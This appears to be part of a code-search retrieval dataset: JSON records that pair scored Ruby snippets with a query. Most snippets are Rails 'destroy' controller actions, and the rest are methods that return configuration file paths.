"text": "def destroy\n @radio_program = RadioProgram.find(params[:id])\n @radio_program.destroy\n\n respond_to do |format|\n format.html { redirect_to(radio_programs_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a7db1880f5479e1c8ed636ad930dc3aa",
"score": "0.6187594",
"text": "def destroy\n @measure_instance.destroy\n respond_to do |format|\n format.html { redirect_to measure_instances_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d7898cd8d3f14a7c93da0e4906757055",
"score": "0.61864716",
"text": "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d7898cd8d3f14a7c93da0e4906757055",
"score": "0.61864716",
"text": "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d7898cd8d3f14a7c93da0e4906757055",
"score": "0.61864716",
"text": "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d7898cd8d3f14a7c93da0e4906757055",
"score": "0.61864716",
"text": "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d7898cd8d3f14a7c93da0e4906757055",
"score": "0.61864716",
"text": "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0e185f449d526528b065eb99d0db3177",
"score": "0.61843646",
"text": "def deleteExecution(execution_id)\n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/12/execution/' + execution_id)\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {'Content-Type'=> 'application/jsonr','X-RunDeck-Auth-Token'=> API_KEY }\n r = http.delete(uri.path, headers) \n return r\nend",
"title": ""
},
{
"docid": "f586754d59cc6abd630d880c8c3af2d6",
"score": "0.61822075",
"text": "def destroy\n @trend = Trend.find(params[:id])\n @trend.destroy\n\n respond_to do |format|\n format.html { redirect_to trends_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "67d38193f58b3a8894a0bf2e6f9231f3",
"score": "0.6180439",
"text": "def destroy\n @trend = Trend.find(params[:id])\n @trend.destroy\n\n respond_to do |format|\n format.html { redirect_to trends_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "14fb497d2629afbef2e1a6059b019ae3",
"score": "0.61789423",
"text": "def destroy\n @radio_group = RadioGroup.find(params[:id])\n @radio_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(radio_groups_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2df2407e50bfa83332847f0dc4b58cd8",
"score": "0.6173127",
"text": "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2df2407e50bfa83332847f0dc4b58cd8",
"score": "0.6173127",
"text": "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "65b94c98660a0b5b8769029099d613c4",
"score": "0.61712915",
"text": "def destroy\n @comparison.destroy\n respond_to do |format|\n format.html { redirect_to comparisons_url, notice: 'Comparison was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1a957f7ce197914c0c9502fa7e135cc0",
"score": "0.61681765",
"text": "def destroy\n @match_stat = MatchStat.find(params[:id])\n @match_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to match_stats_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ffa074859360dd77b53aa779bce5afe2",
"score": "0.6165208",
"text": "def destroy\n @survey_value_set = SurveyValueSet.find(params[:id])\n @survey_value_set.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_value_sets_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "494371ab61c3031854c04dbeb4781027",
"score": "0.6149994",
"text": "def destroy\n @rule.destroy\n render json: {}\n\n end",
"title": ""
},
{
"docid": "4c06e7d1972a93fd0692f3cac7fd3901",
"score": "0.6149661",
"text": "def destroy\n record = TaxRule.find(params[:id])\n record.trash\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6730aee7da17a64bdf1562fd46b9c32c",
"score": "0.6141785",
"text": "def destroy\n @measure = Measure.find(params[:id])\n @measure.destroy\n\n respond_to do |format|\n format.html { redirect_to measures_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "18358e4fcc0a32782efde1b7453dea9a",
"score": "0.6137651",
"text": "def destroy\n @logic = Logic.find(params[:id])\n @logic.destroy\n\n respond_to do |format|\n format.html { redirect_to logics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "92854815c066726593558568d116f896",
"score": "0.6135246",
"text": "def destroy\n @evaluation_criterium = EvaluationCriterium.find(params[:id])\n @evaluation_criterium.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluation_criteria_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "619765279a66f5bc21c21fb01a37a686",
"score": "0.6124608",
"text": "def destroy\n @participant_rating = ParticipantRating.find(params[:id])\n @participant_rating.destroy\n\n respond_to do |format|\n format.html { redirect_to participant_ratings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9fcd49a7a905420862173c0fc7686ec9",
"score": "0.6124242",
"text": "def destroy\n @consensu = Consensu.find(params[:id])\n @consensu.destroy\n\n respond_to do |format|\n format.html { redirect_to consensus_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dfdfcbb7fc9dc8bb0179a5a59a73cbe4",
"score": "0.6123579",
"text": "def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end",
"title": ""
},
{
"docid": "b563eb7b85198a622e6e21b9ef6ebfaf",
"score": "0.61233133",
"text": "def destroy\n @sampled_url = SampledUrl.find(params[:id])\n @sampled_url.destroy\n\n respond_to do |format|\n format.html { redirect_to sampled_urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "28c878ce9dc9ae79058bb32c8b753e1d",
"score": "0.6121285",
"text": "def destroy\n @evaluation_result = EvaluationResult.find(params[:id])\n @evaluation_result.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluation_results_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "19fa329a620b73cfff84ebd7f94bf19c",
"score": "0.6117724",
"text": "def destroy\n @multi_spectral_sample.destroy\n respond_to do |format|\n format.html { redirect_to multi_spectral_samples_url, notice: 'Multi spec sample was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9cbd6d13d3d30ec49d9180d854566752",
"score": "0.6115835",
"text": "def destroy\n @stat = Stat.find(params[:id])\n @stat.destroy\n\n respond_to do |format|\n format.html { redirect_to stats_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "169d10d637ee0aebde245ffdb813709b",
"score": "0.6108793",
"text": "def destroy\n @dbh_measurement.destroy\n respond_to do |format|\n format.html { redirect_to dbh_measurements_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0bcfb9243e0a1eed2f5a898c3f363429",
"score": "0.6102163",
"text": "def destroy\n @operations_check = OperationsCheck.find(params[:id])\n @operations_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_checks_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5f15fc0002d9cc0cd800d27578ebefc9",
"score": "0.6100853",
"text": "def destroy\n @heart_rate_type = HeartRateType.find(params[:id])\n @heart_rate_type.destroy\n\n respond_to do |format|\n format.html { redirect_to heart_rate_types_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7c673d7856e2b9c5ca0f2fce24f96d74",
"score": "0.6100322",
"text": "def destroy\n @stat = Stat.find(params[:id])\n @stat.destroy\n\n respond_to do |format|\n format.html { redirect_to stats_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7bcd92afe4bc9ee5a5aaebf5f9fc2cb2",
"score": "0.6099673",
"text": "def destroy\n @race_timing_grp_evnt = RaceTimingGrpEvnt.find(params[:id])\n @race_timing_grp_evnt.destroy\n\n respond_to do |format|\n format.html { redirect_to race_timing_grp_evnts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7a9ef9cf9c1bb6f0dc1d92d5884cf002",
"score": "0.6099444",
"text": "def destroy\n @rating.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fcf3f5539c294e54ebfc37c165c8f8a1",
"score": "0.60970753",
"text": "def destroy\n @traffic = Traffic.find(params[:id])\n @traffic.destroy\n\n respond_to do |format|\n format.html { redirect_to traffics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e20843302cbd4f40ec6dff138cd4ad11",
"score": "0.6095074",
"text": "def destroy\n @health_record = HealthRecord.find(params[:id])\n @health_record.destroy\n\n respond_to do |format|\n format.html { redirect_to health_records_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f59a0376bfc7355dabb52a88c21a4b63",
"score": "0.60896486",
"text": "def destroy\n @scraping_algorithm = ScrapingAlgorithm.find(params[:id])\n @scraping_algorithm.destroy\n\n respond_to do |format|\n format.html { redirect_to scraping_algorithms_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7534c28ba12db05cac5b1e8ae4ede835",
"score": "0.60879534",
"text": "def destroy\n @red_packet_history.destroy\n respond_to do |format|\n format.html { redirect_to admin_red_packet_histories_url, notice: 'Red packet history was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e09984282d8d8e058b5ec077dcd17718",
"score": "0.6086313",
"text": "def destroy\n @lab_rack = LabRack.find(params[:id])\n @lab_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to(lab_racks_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bb9343cf2190d303ae426698ed28fa89",
"score": "0.608365",
"text": "def destroy\n @timing = Timing.find(params[:id])\n @timing.destroy\n\n respond_to do |format|\n format.html { redirect_to(timings_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "223c476453ca447d4c64a6217a7c2659",
"score": "0.6078352",
"text": "def destroy\n @detailed_retrofit = DetailedRetrofit.find(params[:id])\n @detailed_retrofit.destroy\n\n respond_to do |format|\n format.html { redirect_to(detailed_retrofits_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d691c967d1e44c191fe9cebf025cd42c",
"score": "0.607659",
"text": "def destroy\n @chiropractic_compliance = ChiropracticCompliance.find(params[:id])\n @chiropractic_compliance.destroy\n\n respond_to do |format|\n format.html { redirect_to chiropractic_compliances_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a1b041bfac9903d59f8c2113a8769fe3",
"score": "0.60751027",
"text": "def destroy\n @evaluable_competency = EvaluableCompetency.find(params[:id])\n @evaluable_competency.destroy\n\n respond_to do |format|\n format.html { redirect_to evaluable_competencies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5f97cfa6dc2e6e60477f61b3138d2479",
"score": "0.6072666",
"text": "def destroy\n @assumption.destroy\n respond_to do |format|\n format.html { redirect_to assumptions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5ecdda1e61e0331037bfc5969690f5f0",
"score": "0.6072377",
"text": "def destroy\n @dis_duplicate_therapy.destroy\n respond_to do |format|\n format.html { redirect_to dis_duplicate_therapies_url, notice: 'Dis duplicate therapy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b1f4f13b1b850c16244dc3c171a2e06e",
"score": "0.6069828",
"text": "def destroy\n @local_cpu_summary = LocalCpuSummary.find(params[:id])\n @local_cpu_summary.destroy\n\n respond_to do |format|\n format.html { redirect_to local_cpu_summaries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7fbc828189867593f2f73c049464d659",
"score": "0.606916",
"text": "def destroy\n @rule.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a23b372352fef0a558370ec416a14b5e",
"score": "0.60691404",
"text": "def destroy\n @lab_method = LabMethod.find(params[:id])\n @lab_method.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_methods_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "14187ad8da2c453ab0507353433e7774",
"score": "0.60684025",
"text": "def destroy\n @active_stat = ActiveStat.find(params[:id])\n @active_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to active_stats_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "182fb2ffbbfdfb59056e3e45b0e6b60e",
"score": "0.60662913",
"text": "def destroy\n @rh.destroy\n respond_to do |format|\n format.html { redirect_to rhs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e9b0630df3c84b3f38c5a0f252ab259c",
"score": "0.60642713",
"text": "def destroy\n @rnaseq = Rnaseq.find(params[:id])\n @rnaseq.destroy\n\n respond_to do |format|\n format.html { redirect_to rnaseqs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
a7d61e91a9f52c933c6b717bf0c0eda4
|
Retrieve the file path for the ArcLight core Traject configuration
|
[
{
"docid": "e504370a7d47b8475366e4812eb9a6bc",
"score": "0.8081728",
"text": "def arclight_config_path\n pathname = Rails.root.join(\"lib\", \"pulfalight\", \"traject\", \"ead2_config.rb\")\n pathname.to_s\n end",
"title": ""
}
] |
[
{
"docid": "8cdfb5804030dfecf6935c22caf4ec5c",
"score": "0.7628061",
"text": "def config_file_path\n \"#{@config_path}/#{@config_file}\"\n end",
"title": ""
},
{
"docid": "afa4f35c23cd21b5b1c53d20cfc84529",
"score": "0.7569374",
"text": "def path\n @config[:path]\n end",
"title": ""
},
{
"docid": "afa4f35c23cd21b5b1c53d20cfc84529",
"score": "0.7569374",
"text": "def path\n @config[:path]\n end",
"title": ""
},
{
"docid": "60730b9775e408b54c1b22f474bb1646",
"score": "0.7553679",
"text": "def config_path\n config_tempfile.path\n end",
"title": ""
},
{
"docid": "bd340156c7c2610d9acc0507d3fe5d55",
"score": "0.75308156",
"text": "def configuration_file_path; end",
"title": ""
},
{
"docid": "fade08931944b69ba746921ff681eb4d",
"score": "0.751275",
"text": "def config_path\n File.expand_path(File.join(@options[:location], @options[:filename]))\n end",
"title": ""
},
{
"docid": "4a7ba8c8771cac58b6f1c97e2d01da64",
"score": "0.74634844",
"text": "def config_path\n @config_path\n end",
"title": ""
},
{
"docid": "af9e69cc9c526f8f5c49b08431a85636",
"score": "0.74203557",
"text": "def config_file_path\n @config_dir + CONFIG_FILE_NAME\n end",
"title": ""
},
{
"docid": "b7a0b7db1ad10da72e30ad981709338f",
"score": "0.7392018",
"text": "def path\n @config[\"path\"]\n end",
"title": ""
},
{
"docid": "86d175d42f2b7351703f430b47dcebd6",
"score": "0.7358098",
"text": "def config_path\n @config_path ||= File.join(realpath, \"config.ru\")\n end",
"title": ""
},
{
"docid": "770a46e328b6a26af8ba3479f78b6f7e",
"score": "0.7248932",
"text": "def config_file_path\n\t\tFile.join(home, CONFIG_FILE)\n\tend",
"title": ""
},
{
"docid": "a212d35744c95d6948598f9ce374e966",
"score": "0.72255635",
"text": "def config_file\n Pathname.new(@definition[\"CfgFile\"])\n end",
"title": ""
},
{
"docid": "ad1f5f02c747a51227966f7025297618",
"score": "0.72253853",
"text": "def path\n @path ||= Application.local_root + '/config'\n end",
"title": ""
},
{
"docid": "92919272c2fb1511fb43d987a6214dfa",
"score": "0.71827954",
"text": "def config_path\n options[\"config\"] || Dir.pwd\n end",
"title": ""
},
{
"docid": "92919272c2fb1511fb43d987a6214dfa",
"score": "0.71827954",
"text": "def config_path\n options[\"config\"] || Dir.pwd\n end",
"title": ""
},
{
"docid": "d4f0101d6a015553bdf2ad7211dc3e46",
"score": "0.7133579",
"text": "def config_path\n config_paths.first\n end",
"title": ""
},
{
"docid": "702153a89a346bfe89ca31a18c05add0",
"score": "0.7091087",
"text": "def config_file\n @config_file ||= File.join( home_dir, TyrantManager.config_file_basename ) \n end",
"title": ""
},
{
"docid": "caa57cbaa2dc6cd9ede490456d9d38c6",
"score": "0.7090604",
"text": "def config_path\n @config_path || nil\n end",
"title": ""
},
{
"docid": "87b1be872eb1c4598b56656940001a94",
"score": "0.704527",
"text": "def config_path\n @config_path ||= File.join(home, 'config.rb')\n end",
"title": ""
},
{
"docid": "2b7640fbd8bcc54a912c677d5c9736e4",
"score": "0.70308405",
"text": "def config_file_path\n File.join(dot_autoproj_dir, \"config.yml\")\n end",
"title": ""
},
{
"docid": "16876c54a19e1cee0e6fc90615b241a1",
"score": "0.69682264",
"text": "def file\n config['config_file']\n end",
"title": ""
},
{
"docid": "e19ca70aa4eaf684f6c7252189172f4f",
"score": "0.69124305",
"text": "def config_path\n root.join('config')\n end",
"title": ""
},
{
"docid": "e04f614cae6f0a225e3427ff926c6ab8",
"score": "0.68856096",
"text": "def config_path(file = \"config\")\n Halcyon.root/'config'/\"#{file}.yml\"\n end",
"title": ""
},
{
"docid": "10383e42f7c7a1821350faef8fa0a4bb",
"score": "0.68784297",
"text": "def configuration_path\n sanitized_path configuration.config_files(overrides).first\n end",
"title": ""
},
{
"docid": "10383e42f7c7a1821350faef8fa0a4bb",
"score": "0.68784297",
"text": "def configuration_path\n sanitized_path configuration.config_files(overrides).first\n end",
"title": ""
},
{
"docid": "4c0987565f2bcc6003256d1c2f848441",
"score": "0.6875935",
"text": "def autoproj_config_path\n File.join(dot_autoproj, \"config.yml\")\n end",
"title": ""
},
{
"docid": "bd77af283f960ad586df1b64801ed7e0",
"score": "0.686958",
"text": "def config_file_path\n CONFIG_PATH + \"/config/prediction_io.yml\"\n end",
"title": ""
},
{
"docid": "7d74b962e017fd72e506f603b9d03e01",
"score": "0.6865199",
"text": "def source \n @config[:path]\n end",
"title": ""
},
{
"docid": "cc249bd782d99c182b2bc20af2be64c2",
"score": "0.6861172",
"text": "def config_path\n dir + \"snapsync.config\"\n end",
"title": ""
},
{
"docid": "067e4524a9cf74877e51812b51641b49",
"score": "0.68596077",
"text": "def config_file\n @config_file\n end",
"title": ""
},
{
"docid": "d6987754c5cb98208d67e23fda29408d",
"score": "0.6791931",
"text": "def config_path\n options[:config] || DEFAULT_CONFIG_PATH\n end",
"title": ""
},
{
"docid": "82b13deff74cc3ac79e31b04103c083e",
"score": "0.67911655",
"text": "def path_current_config\n @path_current_config ||= File.join(folder, 'CURRENT_CONFIG.conf')\n end",
"title": ""
},
{
"docid": "a08a247112bdebea5d106ddc6beda59a",
"score": "0.6754985",
"text": "def file_path\n if not resource[:path]\n '/etc/ceph/' + resource[:name].split('/', 3)[0] + '.conf'\n else\n resource[:path]\n end\n end",
"title": ""
},
{
"docid": "3af465afe3b7236e45f6fb32f49bc1b3",
"score": "0.67449474",
"text": "def path_file_config\n @path_file_config ||= begin\n defined?(THISFOLDER) || raise('THISFOLDER devrait être défini…')\n File.join(THISFOLDER,'.config.msh')\n end\n end",
"title": ""
},
{
"docid": "890d53629ce560676e9e81aecb936695",
"score": "0.6719377",
"text": "def src_config_path\n src_path.join('config')\n end",
"title": ""
},
{
"docid": "8921226a435021a2c067257d11c08535",
"score": "0.67138773",
"text": "def config_file_path\n File.join(gem_dir, 'config.yaml')\n end",
"title": ""
},
{
"docid": "386090fa584ae37d9c0c28705a805f91",
"score": "0.67089707",
"text": "def config_file\n config_directory + FileSep + self['ConfigFile']\n end",
"title": ""
},
{
"docid": "f12e2d4c5292f72943e961945326fa02",
"score": "0.67063314",
"text": "def config_path\n File.join( solr_home, 'conf' )\n end",
"title": ""
},
{
"docid": "5703fff22f13b78f0d55cef041a2d844",
"score": "0.6699445",
"text": "def config_path\n File.join(@root, 'manifest.yaml')\n end",
"title": ""
},
{
"docid": "198219306684b89410cd8e925d2d8a3d",
"score": "0.66979456",
"text": "def main_conf_path\n @main_conf_path ||= DEFAULT_MAIN_CONF_PATH\n end",
"title": ""
},
{
"docid": "f24f1bf5319e4a737a9918edeb923ebf",
"score": "0.6682656",
"text": "def path\n if not @path.nil?\n @path\n else\n self.configuration.directory\n end\n end",
"title": ""
},
{
"docid": "19b0227f0bf61e135986a2bfac0a997e",
"score": "0.66786635",
"text": "def config_file\n CONFIGFILE\n end",
"title": ""
},
{
"docid": "048a4f2995d07de9d735e449d291e17f",
"score": "0.66507983",
"text": "def path\n @config[label]['path']\n end",
"title": ""
},
{
"docid": "c06c48cbcb9bc79953971f1910fb8d56",
"score": "0.6642718",
"text": "def configuration_path\n File.join(maps_path, \"#{@id}.xml\")\n end",
"title": ""
},
{
"docid": "4dbadfa45aa8b7a5699c689f94f47ff8",
"score": "0.6637792",
"text": "def config_file\n File.join(config_dir, CONFIG_FILE)\n end",
"title": ""
},
{
"docid": "bd0494b691bf0711071029413fb5e011",
"score": "0.66340613",
"text": "def file_path\n if elements[:domain]\n \"/etc/keystone/domains/keystone.#{@elements[:domain]}.conf\"\n else\n '/etc/keystone/keystone.conf'\n end\n end",
"title": ""
},
{
"docid": "ea2ce5459422cb00e51eb59f9b0f6515",
"score": "0.65810186",
"text": "def path_to_configs\n @path_to_configs = Pathname(File.expand_path('../../config/', __FILE__))\n end",
"title": ""
},
{
"docid": "0d8be995304b114393d2d5362f0d3d75",
"score": "0.6579308",
"text": "def config_file_path(filename)\n File.join(config_directory, filename)\n end",
"title": ""
},
{
"docid": "c3ddbde637f01ea618842b88a7f556d0",
"score": "0.6564752",
"text": "def config_file_path(filename)\n File.expand_path(\"../../../config/#{filename}\", __dir__)\n end",
"title": ""
},
{
"docid": "c3ddbde637f01ea618842b88a7f556d0",
"score": "0.6564752",
"text": "def config_file_path(filename)\n File.expand_path(\"../../../config/#{filename}\", __dir__)\n end",
"title": ""
},
{
"docid": "b78287ecd4c63361cb2a0fd0be45a98c",
"score": "0.65442216",
"text": "def find_config()\n current_path = Dir.pwd\n file_path = current_path+\"/\"+\"server_files/config.txt\"\n return file_path\nend",
"title": ""
},
{
"docid": "1a5eb33d2f98f3baa3fc8a3365d8ce24",
"score": "0.65266",
"text": "def config_path(filename)\n @fixture_path.join(filename)\n end",
"title": ""
},
{
"docid": "1a5eb33d2f98f3baa3fc8a3365d8ce24",
"score": "0.65266",
"text": "def config_path(filename)\n @fixture_path.join(filename)\n end",
"title": ""
},
{
"docid": "1a5eb33d2f98f3baa3fc8a3365d8ce24",
"score": "0.65266",
"text": "def config_path(filename)\n @fixture_path.join(filename)\n end",
"title": ""
},
{
"docid": "e56b7cd4ff2c59c815bb9dfde3609ee4",
"score": "0.64971715",
"text": "def directory__configuration\n\n return File.join( File.expand_path( '~' ), file__directory_name )\n\n end",
"title": ""
},
{
"docid": "a1d3101160f46b69e7c5c13e7968a193",
"score": "0.6493365",
"text": "def config_path(path = nil)\n AuDefaults.config_path(path)\n end",
"title": ""
},
{
"docid": "7de7e54d774e1b5c2fb0d84614791d77",
"score": "0.6477772",
"text": "def config_file\n @config_file ||= File.expand_path(File.join('~', '.forge', 'config.yml'))\n end",
"title": ""
},
{
"docid": "55307bb294eb44f34a8deee086ba57a9",
"score": "0.64717555",
"text": "def config_path(options={})\n options[:lock] = true unless options[:lock] == false\n lock_file_exists? && options[:lock] ? lock_file_path : @file\n end",
"title": ""
},
{
"docid": "7b4b8f61eaa2ec5d2d2880f1b2efe207",
"score": "0.64544624",
"text": "def config_file\n root.join('config/config.yml')\n end",
"title": ""
},
{
"docid": "34f0a8635a914c38df3ada94de6c6345",
"score": "0.6448881",
"text": "def local_config_file\n File.join(File.expand_path(@folder), CONFIG_FILE)\n end",
"title": ""
},
{
"docid": "a5e6b3024493d024a3fb09ac03db06ad",
"score": "0.64487046",
"text": "def fetch_path\n require 'sv/utils/config'\n\n Sv::Utils::Config.new.tap do |config|\n return config['control']['paths'].fetch(0)\n end\n end",
"title": ""
},
{
"docid": "18bda770103a7e0e30e284b404184155",
"score": "0.64486516",
"text": "def get_config_json_path\n return nil unless (@machine_name)\n config_json_path = remove_storage_path_from DM_MACHINES_PATH.join(@machine_name, 'config.json').to_path\n end",
"title": ""
},
{
"docid": "cdc976abe6baecbc9903869d4a0c3c0a",
"score": "0.64413303",
"text": "def config_file\n @config_file ||= targetize('config.rb')\n end",
"title": ""
},
{
"docid": "0c4be55b1bc8f387f365f951a530afe9",
"score": "0.6440018",
"text": "def current_config_path\n Eye.parsed_filename && File.symlink?(Eye.parsed_filename) ? File.readlink(Eye.parsed_filename) : Eye.parsed_filename\nend",
"title": ""
},
{
"docid": "0c4be55b1bc8f387f365f951a530afe9",
"score": "0.6440018",
"text": "def current_config_path\n Eye.parsed_filename && File.symlink?(Eye.parsed_filename) ? File.readlink(Eye.parsed_filename) : Eye.parsed_filename\nend",
"title": ""
},
{
"docid": "349dc2be6be0d4a8e673cb0e1415db8f",
"score": "0.64394486",
"text": "def get_custom_configure_path\n if defined? Rails\n \t File.join(Rails.root, DEFAULT_CONFIG_FILE_PATH)\n else\n File.join(Bundler.root, DEFAULT_CONFIG_FILE_PATH)\n end\n end",
"title": ""
},
{
"docid": "afe6639aaedd3b5103f91117cfcb9fcc",
"score": "0.64280945",
"text": "def config_path(file, type = :yaml)\n return File.join(options[:root],\"Termfile\") if file.empty?\n dir = File.join(ENV['HOME'],'.terminitor')\n if type == :yaml\n File.join(dir, \"#{file.sub(/\\.yml$/, '')}.yml\")\n else\n File.join(dir, \"#{file.sub(/\\.term$/, '')}.term\")\n end\n end",
"title": ""
},
{
"docid": "a93e0342b1c7586d138b08b58874efa6",
"score": "0.64262384",
"text": "def acquia_conf_path\n \"#{Dir.home}/.acquia/cloudapi.conf\"\n end",
"title": ""
},
{
"docid": "e1a0474d4101ecf3a5988436a8345727",
"score": "0.6425488",
"text": "def config_file\n name\n end",
"title": ""
},
{
"docid": "ddc6db2fd928b50d4eb36a5503ed2100",
"score": "0.6418982",
"text": "def setup_file_path\n return @setup_file_path\n end",
"title": ""
},
{
"docid": "91ff0117af19f126de00bc7e0ad4b99b",
"score": "0.6416951",
"text": "def config_path(file, type = :yml)\n return File.join(options[:root],\"Termfile\") if file.empty?\n if type == :yml\n File.join(TERM_PATH, \"#{file.sub(/\\.yml$/, '')}.yml\")\n else\n File.join(TERM_PATH, \"#{file.sub(/\\.term$/, '')}.term\")\n end\n end",
"title": ""
},
{
"docid": "8a98af53ba3b937430ebacc6cf493e38",
"score": "0.64157003",
"text": "def config_path(file, type = :yml)\n return File.join(options[:root],\"Termfile\") if file.empty?\n dir = File.join(ENV['HOME'],'.terminitor')\n if type == :yml\n File.join(dir, \"#{file.sub(/\\.yml$/, '')}.yml\")\n else\n File.join(dir, \"#{file.sub(/\\.term$/, '')}.term\")\n end\n end",
"title": ""
},
{
"docid": "d355c4add41aad9d18b925169358b0bc",
"score": "0.64113766",
"text": "def config_file\n \"#{path}/config.yml\"\n end",
"title": ""
},
{
"docid": "2ec24b29dc0c4864631b0b9f5c7d72db",
"score": "0.6411091",
"text": "def dev_config_path\n \"#{dev_config_dir}/${INTERFACE}.cfg\"\n end",
"title": ""
},
{
"docid": "629161312315710fa7465dea03c23684",
"score": "0.64100695",
"text": "def configPathPerObject\n path = (configBasePath + configFilenamePerObject)\n path.extension = configExtension\n path\n end",
"title": ""
},
{
"docid": "7cb168b70772ecc466810dee02ceb78e",
"score": "0.6403565",
"text": "def config_path\n ::Rails.root.to_s + \"/config/application.yml\"\n end",
"title": ""
},
{
"docid": "f51b8f798a22b95a56027d0b326b43de",
"score": "0.6391936",
"text": "def output_path conf\n try_output_path conf || raise(ConfigurationNotFoundError, \"could not find configuration '#{conf}'\")\n end",
"title": ""
},
{
"docid": "052c87022209392d77070d0c56b0341c",
"score": "0.63849187",
"text": "def local_config_path\n File.join(@root, 'manifest.local.yaml')\n end",
"title": ""
},
{
"docid": "668e83d8167aa240ac73b36777d23d33",
"score": "0.6382242",
"text": "def config_file_path\n Rails.root.join('.ios_sdk_config.yml')\n end",
"title": ""
},
{
"docid": "75c82bdb81494dc17744155f84fce0d6",
"score": "0.63787085",
"text": "def r10k_configpath(r10k)\n File.join(configuration_root, \"r10ks\", r10k)\nend",
"title": ""
},
{
"docid": "bf14e0c259e778df58255224f4f3cc8b",
"score": "0.6372531",
"text": "def config_location\n config_location = File.join(base, \"config\")\n end",
"title": ""
},
{
"docid": "81127953e5a2c8182e75ce01cffcdb4b",
"score": "0.6365855",
"text": "def root_path\n milton_options[:file_system_path]\n end",
"title": ""
},
{
"docid": "db6bc9fbc425483a028750d9e5527cca",
"score": "0.6363041",
"text": "def troopfile\n File.open(config[:file_name])\n end",
"title": ""
},
{
"docid": "2a5f34e8eae389f50023306c77724c62",
"score": "0.6362973",
"text": "def config_root_d \n Pathname.new(__FILE__).dirname.parent \n end",
"title": ""
},
{
"docid": "77dd740d6aa2dd812906330c6fa5d878",
"score": "0.6351196",
"text": "def opf_file_path\n @opf_file_path = rootfile['full_path']\n end",
"title": ""
},
{
"docid": "5b47140ccd946988bf0f38de39aedfdf",
"score": "0.63485295",
